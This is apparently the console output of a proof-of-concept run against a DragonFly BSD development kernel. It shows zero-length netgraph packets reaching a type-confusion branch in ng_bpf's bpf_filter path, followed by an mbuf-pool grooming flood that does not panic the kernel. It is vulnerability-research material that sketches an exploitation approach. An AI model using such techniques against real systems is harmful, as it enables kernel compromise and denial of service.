DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
 4    1 0xffffffff82600000    18000 ng_socket.ko
 6    1 0xffffffff82656000    1a000 ng_bpf.ko
=== RUN DF-2595 PoC with stats + grooming (root) ===
[*] DF-2595 ng_bpf zero-length packet -> bpf_filter type confusion
[+] created socket node 'df2595' csock=3 dsock=4
[+] mkpeer ng_bpf  'df2595:out' -> bpf 'in'
[+] installed BPF program on bpf 'in': LD_W_ABS k=0; RET 0
[*] stats BEFORE: recvFrames=0 recvOctets=0
[*] sending 4 ZERO-LENGTH data items -> ng_bpf 'in' (totlen=0)...
    [0] NgSendData(0) rc=0 errno=0
    [1] NgSendData(0) rc=0 errno=0
    [2] NgSendData(0) rc=0 errno=0
    [3] NgSendData(0) rc=0 errno=0
[*] stats AFTER : recvFrames=4 recvOctets=0  (delta=4)
[+] CONFIRMED: zero-length data reached ng_bpf_rcvdata -> bpf_filter(buflen=0) -> type-confusion branch entered
[*] grooming mbuf pool: flooding 4000 pointer-shaped packets then re-sending zero-length...
[*] still alive — kernel survived grooming+zero-length flood
[*] (the type confusion is reachable but needs a stale mbuf with
[*]  pointer-shaped residue to panic; zeroed pool state is benign.)
POC_RC=0